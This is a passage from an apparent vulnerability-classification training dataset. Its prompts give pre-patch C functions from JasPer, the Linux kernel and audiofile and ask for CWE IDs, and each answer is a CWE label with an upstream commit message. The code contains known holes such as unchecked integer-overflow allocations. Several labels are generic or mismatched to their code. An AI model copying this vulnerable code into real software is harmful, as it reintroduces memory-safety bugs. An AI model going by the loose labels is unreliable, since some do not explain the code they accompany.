sizeof(jpc_dec_prc_t)))) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\n/************************************************/\n\tcbgxstart = tlcbgxstart;\n\tcbgystart = tlcbgystart;\n\tfor (prccnt = rlvl->numprcs, prc = band->prcs;\n\t prccnt > 0; --prccnt, ++prc) {\n\t\tcbgxend = cbgxstart + (1 << rlvl->cbgwidthexpn);\n\t\tcbgyend = cbgystart + (1 << rlvl->cbgheightexpn);\n\t\tprc->xstart = JAS_MAX(cbgxstart, JAS_CAST(uint_fast32_t, jas_seq2d_xstart(band->data)));\n\t\tprc->ystart = JAS_MAX(cbgystart, JAS_CAST(uint_fast32_t, jas_seq2d_ystart(band->data)));\n\t\tprc->xend = JAS_MIN(cbgxend, JAS_CAST(uint_fast32_t, jas_seq2d_xend(band->data)));\n\t\tprc->yend = JAS_MIN(cbgyend, JAS_CAST(uint_fast32_t, jas_seq2d_yend(band->data)));\n\t\tif (prc->xend > prc->xstart && prc->yend > prc->ystart) {\n\t\t\ttlcblkxstart = JPC_FLOORDIVPOW2(prc->xstart,\n\t\t\t rlvl->cblkwidthexpn) << rlvl->cblkwidthexpn;\n\t\t\ttlcblkystart = JPC_FLOORDIVPOW2(prc->ystart,\n\t\t\t rlvl->cblkheightexpn) << rlvl->cblkheightexpn;\n\t\t\tbrcblkxend = JPC_CEILDIVPOW2(prc->xend,\n\t\t\t rlvl->cblkwidthexpn) << rlvl->cblkwidthexpn;\n\t\t\tbrcblkyend = JPC_CEILDIVPOW2(prc->yend,\n\t\t\t rlvl->cblkheightexpn) << rlvl->cblkheightexpn;\n\t\t\tprc->numhcblks = (brcblkxend - tlcblkxstart) >>\n\t\t\t rlvl->cblkwidthexpn;\n\t\t\tprc->numvcblks = (brcblkyend - tlcblkystart) >>\n\t\t\t rlvl->cblkheightexpn;\n\t\t\tprc->numcblks = prc->numhcblks * prc->numvcblks;\n\t\t\tassert(prc->numcblks > 0);\n\n\t\t\tif (!(prc->incltagtree = jpc_tagtree_create(prc->numhcblks, prc->numvcblks))) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif (!(prc->numimsbstagtree = jpc_tagtree_create(prc->numhcblks, prc->numvcblks))) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_dec_cblk_t)))) {\n\t\t\t\treturn -1;\n\t\t\t}\n\n\t\t\tcblkxstart = cbgxstart;\n\t\t\tcblkystart = cbgystart;\n\t\t\tfor (cblkcnt = prc->numcblks, cblk = prc->cblks; cblkcnt > 0;) {\n\t\t\t\tcblkxend = cblkxstart + (1 << rlvl->cblkwidthexpn);\n\t\t\t\tcblkyend = cblkystart + (1 << rlvl->cblkheightexpn);\n\t\t\t\ttmpxstart = JAS_MAX(cblkxstart, prc->xstart);\n\t\t\t\ttmpystart = JAS_MAX(cblkystart, prc->ystart);\n\t\t\t\ttmpxend = JAS_MIN(cblkxend, prc->xend);\n\t\t\t\ttmpyend = JAS_MIN(cblkyend, prc->yend);\n\t\t\t\tif (tmpxend > tmpxstart && tmpyend > tmpystart) {\n\t\t\t\t\tcblk->firstpassno = -1;\n\t\t\t\t\tcblk->mqdec = 0;\n\t\t\t\t\tcblk->nulldec = 0;\n\t\t\t\t\tcblk->flags = 0;\n\t\t\t\t\tcblk->numpasses = 0;\n\t\t\t\t\tcblk->segs.head = 0;\n\t\t\t\t\tcblk->segs.tail = 0;\n\t\t\t\t\tcblk->curseg = 0;\n\t\t\t\t\tcblk->numimsbs = 0;\n\t\t\t\t\tcblk->numlenbits = 3;\n\t\t\t\t\tcblk->flags = 0;\n\t\t\t\t\tif (!(cblk->data = jas_seq2d_create(0, 0, 0, 0))) {\n\t\t\t\t\t\treturn -1;\n\t\t\t\t\t}\n\t\t\t\t\tjas_seq2d_bindsub(cblk->data, band->data, tmpxstart, tmpystart, tmpxend, tmpyend);\n\t\t\t\t\t++cblk;\n\t\t\t\t\t--cblkcnt;\n\t\t\t\t}\n\t\t\t\tcblkxstart += 1 << rlvl->cblkwidthexpn;\n\t\t\t\tif (cblkxstart >= cbgxend) {\n\t\t\t\t\tcblkxstart = cbgxstart;\n\t\t\t\t\tcblkystart += 1 << rlvl->cblkheightexpn;\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\t\t\tprc->cblks = 0;\n\t\t\tprc->incltagtree = 0;\n\t\t\tprc->numimsbstagtree = 0;\n\t\t}\n\t\tcbgxstart += 1 << rlvl->cbgwidthexpn;\n\t\tif (cbgxstart >= brcbgxend) {\n\t\t\tcbgxstart = tlcbgxstart;\n\t\t\tcbgystart += 1 << rlvl->cbgheightexpn;\n\t\t}\n\n\t}\n/********************************************/\n\t\t\t}\n\t\t}\n\t}\n\nif (!(tile->pi = jpc_dec_pi_create(dec, tile)))\n{\n\treturn -1;\n}\n\n\tfor (pchgno = 0; pchgno < jpc_pchglist_numpchgs(tile->cp->pchglist);\n\t ++pchgno) {\n\t\tpchg = jpc_pchg_copy(jpc_pchglist_get(tile->cp->pchglist, pchgno));\n\t\tassert(pchg);\n\t\tjpc_pi_addpchg(tile->pi, pchg);\n\t}\n\tjpc_pi_init(tile->pi);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'At many places in the code, jas_malloc or jas_recalloc was being\ninvoked with the size argument being computed in a manner that would not\nallow integer overflow to be detected. Now, these places in the code\nhave been modified to use special-purpose memory allocation functions\n(e.g., jas_alloc2, jas_alloc3, jas_realloc2) that check for overflow.\nThis should fix many security problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static jpc_enc_band_t *band_create(jpc_enc_band_t *band, jpc_enc_cp_t *cp,\n jpc_enc_rlvl_t *rlvl, jpc_tsfb_band_t *bandinfos)\n{\n\tuint_fast16_t bandno;\n\tuint_fast16_t gblbandno;\n\tuint_fast16_t rlvlno;\n\tjpc_tsfb_band_t *bandinfo;\n\tjpc_enc_tcmpt_t *tcmpt;\n\tuint_fast32_t prcno;\n\tjpc_enc_prc_t *prc;\n\n\ttcmpt = rlvl->tcmpt;\n\tband->data = 0;\n\tband->prcs = 0;\n\tband->rlvl = rlvl;\n\n\t/* Deduce the resolution level and band number. */\n\trlvlno = rlvl - rlvl->tcmpt->rlvls;\n\tbandno = band - rlvl->bands;\n\tgblbandno = (!rlvlno) ? 0 : (3 * (rlvlno - 1) + bandno + 1);\n\n\tbandinfo = &bandinfos[gblbandno];\n\nif (bandinfo->xstart != bandinfo->xend && bandinfo->ystart != bandinfo->yend) {\n\tif (!(band->data = jas_seq2d_create(0, 0, 0, 0))) {\n\t\tgoto error;\n\t}\n\tjas_seq2d_bindsub(band->data, tcmpt->data, bandinfo->locxstart,\n\t bandinfo->locystart, bandinfo->locxend, bandinfo->locyend);\n\tjas_seq2d_setshift(band->data, bandinfo->xstart, bandinfo->ystart);\n}\n\tband->orient = bandinfo->orient;\n\tband->analgain = JPC_NOMINALGAIN(cp->tccp.qmfbid, tcmpt->numrlvls, rlvlno,\n\t band->orient);\n\tband->numbps = 0;\n\tband->absstepsize = 0;\n\tband->stepsize = 0;\n\tband->synweight = bandinfo->synenergywt;\n\nif (band->data) {\n\tif (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_enc_prc_t)))) {\n\t\tgoto error;\n\t}\n\tfor (prcno = 0, prc = band->prcs; prcno < rlvl->numprcs; ++prcno,\n\t ++prc) {\n\t\tprc->cblks = 0;\n\t\tprc->incltree = 0;\n\t\tprc->nlibtree = 0;\n\t\tprc->savincltree = 0;\n\t\tprc->savnlibtree = 0;\n\t\tprc->band = band;\n\t}\n\tfor (prcno = 0, prc = band->prcs; prcno < rlvl->numprcs; ++prcno,\n\t ++prc) {\n\t\tif (!prc_create(prc, cp, band)) {\n\t\t\tgoto error;\n\t\t}\n\t}\n}\n\n\treturn band;\n\nerror:\n\tband_destroy(band);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'At many places in the code, jas_malloc or jas_recalloc was being\ninvoked with the size argument being computed in a manner that would not\nallow integer overflow to be detected. Now, these places in the code\nhave been modified to use special-purpose memory allocation functions\n(e.g., jas_alloc2, jas_alloc3, jas_realloc2) that check for overflow.\nThis should fix many security problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int jpc_pchglist_insert(jpc_pchglist_t *pchglist, int pchgno, jpc_pchg_t *pchg)\n{\n\tint i;\n\tint newmaxpchgs;\n\tjpc_pchg_t **newpchgs;\n\tif (pchgno < 0) {\n\t\tpchgno = pchglist->numpchgs;\n\t}\n\tif (pchglist->numpchgs >= pchglist->maxpchgs) {\n\t\tnewmaxpchgs = pchglist->maxpchgs + 128;\n\t\tif (!(newpchgs = jas_realloc(pchglist->pchgs, newmaxpchgs * sizeof(jpc_pchg_t *)))) {\n\t\t\treturn -1;\n\t\t}\n\t\tpchglist->maxpchgs = newmaxpchgs;\n\t\tpchglist->pchgs = newpchgs;\n\t}\n\tfor (i = pchglist->numpchgs; i > pchgno; --i) {\n\t\tpchglist->pchgs[i] = pchglist->pchgs[i - 1];\n\t}\n\tpchglist->pchgs[pchgno] = pchg;\n\t++pchglist->numpchgs;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'At many places in the code, jas_malloc or jas_recalloc was being\ninvoked with the size argument being computed in a manner that would not\nallow integer overflow to be detected. Now, these places in the code\nhave been modified to use special-purpose memory allocation functions\n(e.g., jas_alloc2, jas_alloc3, jas_realloc2) that check for overflow.\nThis should fix many security problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void *jas_calloc(size_t nmemb, size_t size)\n{\n\tvoid *ptr;\n\tsize_t n;\n\tn = nmemb * size;\n\tif (!(ptr = jas_malloc(n * sizeof(char)))) {\n\t\treturn 0;\n\t}\n\tmemset(ptr, 0, n);\n\treturn ptr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'At many places in the code, jas_malloc or jas_recalloc was being\ninvoked with the size argument being computed in a manner that would not\nallow integer overflow to be detected. Now, these places in the code\nhave been modified to use special-purpose memory allocation functions\n(e.g., jas_alloc2, jas_alloc3, jas_realloc2) that check for overflow.\nThis should fix many security problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: jas_stream_t *jas_stream_memopen(char *buf, int bufsize)\n{\n\tjas_stream_t *stream;\n\tjas_stream_memobj_t *obj;\n\n\tif (!(stream = jas_stream_create())) {\n\t\treturn 0;\n\t}\n\n\t/* A stream associated with a memory buffer is always opened\n\tfor both reading and writing in binary mode. */\n\tstream->openmode_ = JAS_STREAM_READ | JAS_STREAM_WRITE | JAS_STREAM_BINARY;\n\n\t/* Since the stream data is already resident in memory, buffering\n\tis not necessary. */\n\t/* But... It still may be faster to use buffering anyways. */\n\tjas_stream_initbuf(stream, JAS_STREAM_FULLBUF, 0, 0);\n\n\t/* Select the operations for a memory stream. */\n\tstream->ops_ = &jas_stream_memops;\n\n\t/* Allocate memory for the underlying memory stream object. */\n\tif (!(obj = jas_malloc(sizeof(jas_stream_memobj_t)))) {\n\t\tjas_stream_destroy(stream);\n\t\treturn 0;\n\t}\n\tstream->obj_ = (void *) obj;\n\n\t/* Initialize a few important members of the memory stream object. */\n\tobj->myalloc_ = 0;\n\tobj->buf_ = 0;\n\n\t/* If the buffer size specified is nonpositive, then the buffer\n\tis allocated internally and automatically grown as needed. */\n\tif (bufsize <= 0) {\n\t\tobj->bufsize_ = 1024;\n\t\tobj->growable_ = 1;\n\t} else {\n\t\tobj->bufsize_ = bufsize;\n\t\tobj->growable_ = 0;\n\t}\n\tif (buf) {\n\t\tobj->buf_ = (unsigned char *) buf;\n\t} else {\n\t\tobj->buf_ = jas_malloc(obj->bufsize_ * sizeof(char));\n\t\tobj->myalloc_ = 1;\n\t}\n\tif (!obj->buf_) {\n\t\tjas_stream_close(stream);\n\t\treturn 0;\n\t}\n\n\tif (bufsize > 0 && buf) {\n\t\t/* If a buffer was supplied by the caller and its length is positive,\n\t\t make the associated buffer data appear in the stream initially. */\n\t\tobj->len_ = bufsize;\n\t} else {\n\t\t/* The stream is initially empty. */\n\t\tobj->len_ = 0;\n\t}\n\tobj->pos_ = 0;\n\t\n\treturn stream;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'At many places in the code, jas_malloc or jas_recalloc was being\ninvoked with the size argument being computed in a manner that would not\nallow integer overflow to be detected. Now, these places in the code\nhave been modified to use special-purpose memory allocation functions\n(e.g., jas_alloc2, jas_alloc3, jas_realloc2) that check for overflow.\nThis should fix many security problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: generic_file_splice_write_nolock(struct pipe_inode_info *pipe, struct file *out,\n\t\t\t\t loff_t *ppos, size_t len, unsigned int flags)\n{\n\tstruct address_space *mapping = out->f_mapping;\n\tstruct inode *inode = mapping->host;\n\tssize_t ret;\n\tint err;\n\n\tret = __splice_from_pipe(pipe, out, ppos, len, flags, pipe_to_file);\n\tif (ret > 0) {\n\t\t*ppos += ret;\n\n\t\t/*\n\t\t * If file or inode is SYNC and we actually wrote some data,\n\t\t * sync it.\n\t\t */\n\t\tif (unlikely((out->f_flags & O_SYNC) || IS_SYNC(inode))) {\n\t\t\terr = generic_osync_inode(inode, mapping,\n\t\t\t\t\t\t OSYNC_METADATA|OSYNC_DATA);\n\n\t\t\tif (err)\n\t\t\t\tret = err;\n\t\t}\n\t}\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': '[PATCH] Remove SUID when splicing into an inode\n\nOriginally from Mark Fasheh \n\ngeneric_file_splice_write() does not remove S_ISUID or S_ISGID. This is\ninconsistent with the way we generally write to files.\n\nSigned-off-by: Mark Fasheh \nSigned-off-by: Jens Axboe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int sctp_process_init(struct sctp_association *asoc, sctp_cid_t cid,\n\t\t const union sctp_addr *peer_addr,\n\t\t sctp_init_chunk_t *peer_init, gfp_t gfp)\n{\n\tunion sctp_params param;\n\tstruct sctp_transport *transport;\n\tstruct list_head *pos, *temp;\n\tchar *cookie;\n\n\t/* We must include the address that the INIT packet came from.\n\t * This is the only address that matters for an INIT packet.\n\t * When processing a COOKIE ECHO, we retrieve the from address\n\t * of the INIT from the cookie.\n\t */\n\n\t/* This implementation defaults to making the first transport\n\t * added as the primary transport. The source address seems to\n\t * be a a better choice than any of the embedded addresses.\n\t */\n\tif (peer_addr) {\n\t\tif(!sctp_assoc_add_peer(asoc, peer_addr, gfp, SCTP_ACTIVE))\n\t\t\tgoto nomem;\n\t}\n\n\t/* Process the initialization parameters. */\n\tsctp_walk_params(param, peer_init, init_hdr.params) {\n\n\t\tif (!sctp_process_param(asoc, param, peer_addr, gfp))\n\t\t\tgoto clean_up;\n\t}\n\n\t/* AUTH: After processing the parameters, make sure that we\n\t * have all the required info to potentially do authentications.\n\t */\n\tif (asoc->peer.auth_capable && (!asoc->peer.peer_random ||\n\t\t\t\t\t!asoc->peer.peer_hmacs))\n\t\tasoc->peer.auth_capable = 0;\n\n\t/* In a non-backward compatible mode, if the peer claims\n\t * support for ADD-IP but not AUTH, the ADD-IP spec states\n\t * that we MUST ABORT the association. Section 6. The section\n\t * also give us an option to silently ignore the packet, which\n\t * is what we'll do here.\n\t */\n\tif (!sctp_addip_noauth &&\n\t (asoc->peer.asconf_capable && !asoc->peer.auth_capable)) {\n\t\tasoc->peer.addip_disabled_mask |= (SCTP_PARAM_ADD_IP |\n\t\t\t\t\t\t SCTP_PARAM_DEL_IP |\n\t\t\t\t\t\t SCTP_PARAM_SET_PRIMARY);\n\t\tasoc->peer.asconf_capable = 0;\n\t\tgoto clean_up;\n\t}\n\n\t/* Walk list of transports, removing transports in the UNKNOWN state. */\n\tlist_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) {\n\t\ttransport = list_entry(pos, struct sctp_transport, transports);\n\t\tif (transport->state == SCTP_UNKNOWN) {\n\t\t\tsctp_assoc_rm_peer(asoc, transport);\n\t\t}\n\t}\n\n\t/* The fixed INIT headers are always in network byte\n\t * order.\n\t */\n\tasoc->peer.i.init_tag =\n\t\tntohl(peer_init->init_hdr.init_tag);\n\tasoc->peer.i.a_rwnd =\n\t\tntohl(peer_init->init_hdr.a_rwnd);\n\tasoc->peer.i.num_outbound_streams =\n\t\tntohs(peer_init->init_hdr.num_outbound_streams);\n\tasoc->peer.i.num_inbound_streams =\n\t\tntohs(peer_init->init_hdr.num_inbound_streams);\n\tasoc->peer.i.initial_tsn =\n\t\tntohl(peer_init->init_hdr.initial_tsn);\n\n\t/* Apply the upper bounds for output streams based on peer's\n\t * number of inbound streams.\n\t */\n\tif (asoc->c.sinit_num_ostreams >\n\t ntohs(peer_init->init_hdr.num_inbound_streams)) {\n\t\tasoc->c.sinit_num_ostreams =\n\t\t\tntohs(peer_init->init_hdr.num_inbound_streams);\n\t}\n\n\tif (asoc->c.sinit_max_instreams >\n\t ntohs(peer_init->init_hdr.num_outbound_streams)) {\n\t\tasoc->c.sinit_max_instreams =\n\t\t\tntohs(peer_init->init_hdr.num_outbound_streams);\n\t}\n\n\t/* Copy Initiation tag from INIT to VT_peer in cookie. */\n\tasoc->c.peer_vtag = asoc->peer.i.init_tag;\n\n\t/* Peer Rwnd : Current calculated value of the peer's rwnd. */\n\tasoc->peer.rwnd = asoc->peer.i.a_rwnd;\n\n\t/* Copy cookie in case we need to resend COOKIE-ECHO. */\n\tcookie = asoc->peer.cookie;\n\tif (cookie) {\n\t\tasoc->peer.cookie = kmemdup(cookie, asoc->peer.cookie_len, gfp);\n\t\tif (!asoc->peer.cookie)\n\t\t\tgoto clean_up;\n\t}\n\n\t/* RFC 2960 7.2.1 The initial value of ssthresh MAY be arbitrarily\n\t * high (for example, implementations MAY use the size of the receiver\n\t * advertised window).\n\t */\n\tlist_for_each_entry(transport, &asoc->peer.transport_addr_list,\n\t\t\ttransports) {\n\t\ttransport->ssthresh = asoc->peer.i.a_rwnd;\n\t}\n\n\t/* Set up the TSN tracking pieces. */\n\tsctp_tsnmap_init(&asoc->peer.tsn_map, SCTP_TSN_MAP_SIZE,\n\t\t\t asoc->peer.i.initial_tsn);\n\n\t/* RFC 2960 6.5 Stream Identifier and Stream Sequence Number\n\t *\n\t * The stream sequence number in all the streams shall start\n\t * from 0 when the association is established. Also, when the\n\t * stream sequence number reaches the value 65535 the next\n\t * stream sequence number shall be set to 0.\n\t */\n\n\t/* Allocate storage for the negotiated streams if it is not a temporary\n\t * association.\n\t */\n\tif (!asoc->temp) {\n\t\tint error;\n\n\t\tasoc->ssnmap = sctp_ssnmap_new(asoc->c.sinit_max_instreams,\n\t\t\t\t\t asoc->c.sinit_num_ostreams, gfp);\n\t\tif (!asoc->ssnmap)\n\t\t\tgoto clean_up;\n\n\t\terror = sctp_assoc_set_id(asoc, gfp);\n\t\tif (error)\n\t\t\tgoto clean_up;\n\t}\n\n\t/* ADDIP Section 4.1 ASCONF Chunk Procedures\n\t *\n\t * When an endpoint has an ASCONF signaled change to be sent to the\n\t * remote endpoint it should do the following:\n\t * ...\n\t * A2) A serial number should be assigned to the Chunk. The serial\n\t * number should be a monotonically increasing number. All serial\n\t * numbers are defined to be initialized at the start of the\n\t * association to the same value as the Initial TSN.\n\t */\n\tasoc->peer.addip_serial = asoc->peer.i.initial_tsn - 1;\n\treturn 1;\n\nclean_up:\n\t/* Release the transport structures. */\n\tlist_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) {\n\t\ttransport = list_entry(pos, struct sctp_transport, transports);\n\t\tlist_del_init(pos);\n\t\tsctp_transport_free(transport);\n\t}\n\n\tasoc->peer.transport_count = 0;\n\nnomem:\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287'], 'message': 'sctp: Fix oops when INIT-ACK indicates that peer doesn't support AUTH\n\nIf INIT-ACK is received with SupportedExtensions parameter which\nindicates that the peer does not support AUTH, the packet will be\nsilently ignore, and sctp_process_init() do cleanup all of the\ntransports in the association.\nWhen T1-Init timer is expires, OOPS happen while we try to choose\na different init transport.\n\nThe solution is to only clean up the non-active transports, i.e\nthe ones that the peer added. However, that introduces a problem\nwith sctp_connectx(), because we don't mark the proper state for\nthe transports provided by the user. So, we'll simply mark\nuser-provided transports as ACTIVE. That will allow INIT\nretransmissions to work properly in the sctp_connectx() context\nand prevent the crash.\n\nSigned-off-by: Vlad Yasevich \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void destroy_watch(struct inotify_watch *watch)\n{\n\tstruct audit_chunk *chunk = container_of(watch, struct audit_chunk, watch);\n\tfree_chunk(chunk);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'Fix inotify watch removal/umount races\n\nInotify watch removals suck violently.\n\nTo kick the watch out we need (in this order) inode->inotify_mutex and\nih->mutex. That's fine if we have a hold on inode; however, for all\nother cases we need to make damn sure we don't race with umount. We can\n*NOT* just grab a reference to a watch - inotify_unmount_inodes() will\nhappily sail past it and we'll end with reference to inode potentially\noutliving its superblock.\n\nIdeally we just want to grab an active reference to superblock if we\ncan; that will make sure we won't go into inotify_umount_inodes() until\nwe are done. Cleanup is just deactivate_super().\n\nHowever, that leaves a messy case - what if we *are* racing with\numount() and active references to superblock can't be acquired anymore?\nWe can bump ->s_count, grab ->s_umount, which will almost certainly wait\nuntil the superblock is shut down and the watch in question is pining\nfor fjords. That's fine, but there is a problem - we might have hit the\nwindow between ->s_active getting to 0 / ->s_count - below S_BIAS (i.e.\nthe moment when superblock is past the point of no return and is heading\nfor shutdown) and the moment when deactivate_super() acquires\n->s_umount.\n\nWe could just do drop_super() yield() and retry, but that's rather\nantisocial and this stuff is luser-triggerable. OTOH, having grabbed\n->s_umount and having found that we'd got there first (i.e. that\n->s_root is non-NULL) we know that we won't race with\ninotify_umount_inodes().\n\nSo we could grab a reference to watch and do the rest as above, just\nwith drop_super() instead of deactivate_super(), right? Wrong. We had\nto drop ih->mutex before we could grab ->s_umount. So the watch\ncould've been gone already.\n\nThat still can be dealt with - we need to save watch->wd, do idr_find()\nand compare its result with our pointer. If they match, we either have\nthe damn thing still alive or we'd lost not one but two races at once,\nthe watch had been killed and a new one got created with the same ->wd\nat the same address. That couldn't have happened in inotify_destroy(),\nbut inotify_rm_wd() could run into that. Still, \"new one got created\"\nis not a problem - we have every right to kill it or leave it alone,\nwhatever's more convenient.\n\nSo we can use idr_find(...) == watch && watch->inode->i_sb == sb as\n\"grab it and kill it\" check. If it's been our original watch, we are\nfine, if it's a newcomer - nevermind, just pretend that we'd won the\nrace and kill the fscker anyway; we are safe since we know that its\nsuperblock won't be going away.\n\nAnd yes, this is far beyond mere \"not very pretty\"; so's the entire\nconcept of inotify to start with.\n\nSigned-off-by: Al Viro \nAcked-by: Greg KH \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int blk_fill_sghdr_rq(struct request_queue *q, struct request *rq,\n\t\t\t struct sg_io_hdr *hdr, fmode_t mode)\n{\n\tif (copy_from_user(rq->cmd, hdr->cmdp, hdr->cmd_len))\n\t\treturn -EFAULT;\n\tif (blk_verify_command(&q->cmd_filter, rq->cmd, mode & FMODE_WRITE))\n\t\treturn -EPERM;\n\n\t/*\n\t * fill in request structure\n\t */\n\trq->cmd_len = hdr->cmd_len;\n\trq->cmd_type = REQ_TYPE_BLOCK_PC;\n\n\trq->timeout = msecs_to_jiffies(hdr->timeout);\n\tif (!rq->timeout)\n\t\trq->timeout = q->sg_timeout;\n\tif (!rq->timeout)\n\t\trq->timeout = BLK_DEFAULT_SG_TIMEOUT;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'Enforce a minimum SG_IO timeout\n\nThere's no point in having too short SG_IO timeouts, since if the\ncommand does end up timing out, we'll end up through the reset sequence\nthat is several seconds long in order to abort the command that timed\nout.\n\nAs a result, shorter timeouts than a few seconds simply do not make\nsense, as the recovery would be longer than the timeout itself.\n\nAdd a BLK_MIN_SG_TIMEOUT to match the existign BLK_DEFAULT_SG_TIMEOUT.\n\nSuggested-by: Alan Cox \nAcked-by: Tejun Heo \nAcked-by: Jens Axboe \nCc: Jeff Garzik \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void ms_adpcm_run_pull (_AFmoduleinst *module)\n{\n\tms_adpcm_data\t*d = (ms_adpcm_data *) module->modspec;\n\tAFframecount\tframes2read = module->outc->nframes;\n\tAFframecount\tnframes = 0;\n\tint\t\ti, framesPerBlock, blockCount;\n\tssize_t\t\tblocksRead, bytesDecoded;\n\n\tframesPerBlock = d->samplesPerBlock / d->track->f.channelCount;\n\tassert(module->outc->nframes % framesPerBlock == 0);\n\tblockCount = module->outc->nframes / framesPerBlock;\n\n\t/* Read the compressed frames. */\n\tblocksRead = af_fread(module->inc->buf, d->blockAlign, blockCount, d->fh);\n\n\t/* Decompress into module->outc. */\n\tfor (i=0; iinc->buf + i * d->blockAlign,\n\t\t\t(int16_t *) module->outc->buf + i * d->samplesPerBlock);\n\n\t\tnframes += framesPerBlock;\n\t}\n\n\td->track->nextfframe += nframes;\n\n\tif (blocksRead > 0)\n\t\td->track->fpos_next_frame += blocksRead * d->blockAlign;\n\n\tassert(af_ftell(d->fh) == d->track->fpos_next_frame);\n\n\t/*\n\t\tIf we got EOF from read, then we return the actual amount read.\n\n\t\tComplain only if there should have been more frames in the file.\n\t*/\n\n\tif (d->track->totalfframes != -1 && nframes != frames2read)\n\t{\n\t\t/* Report error if we haven't already */\n\t\tif (d->track->filemodhappy)\n\t\t{\n\t\t\t_af_error(AF_BAD_READ,\n\t\t\t\t\"file missing data -- read %d frames, should be %d\",\n\t\t\t\td->track->nextfframe,\n\t\t\t\td->track->totalfframes);\n\t\t\td->track->filemodhappy = AF_FALSE;\n\t\t}\n\t}\n\n\tmodule->outc->nframes = nframes;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix decoding of multi-channel ADPCM audio files.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void ms_adpcm_reset1 (_AFmoduleinst *i)\n{\n\tms_adpcm_data\t*d = (ms_adpcm_data *) i->modspec;\n\tAFframecount\tnextTrackFrame;\n\tint\t\tframesPerBlock;\n\n\tframesPerBlock = d->samplesPerBlock / d->track->f.channelCount;\n\n\tnextTrackFrame = d->track->nextfframe;\n\td->track->nextfframe = (nextTrackFrame / framesPerBlock) *\n\t\tframesPerBlock;\n\n\td->framesToIgnore = nextTrackFrame - d->track->nextfframe;\n\t/* postroll = frames2ignore */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix decoding of multi-channel ADPCM audio files.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \t\t\t\t__acquires(kernel_lock)\n\n{\n\tstruct buffer_head *bh;\n\tstruct ext4_super_block *es = NULL;\n\tstruct ext4_sb_info *sbi;\n\text4_fsblk_t block;\n\text4_fsblk_t sb_block = get_sb_block(&data);\n\text4_fsblk_t logical_sb_block;\n\tunsigned long offset = 0;\n\tunsigned long journal_devnum = 0;\n\tunsigned long def_mount_opts;\n\tstruct inode *root;\n\tchar *cp;\n\tconst char *descr;\n\tint ret = -EINVAL;\n\tint blocksize;\n\tint db_count;\n\tint i;\n\tint needs_recovery, has_huge_files;\n\tint features;\n\t__u64 blocks_count;\n\tint 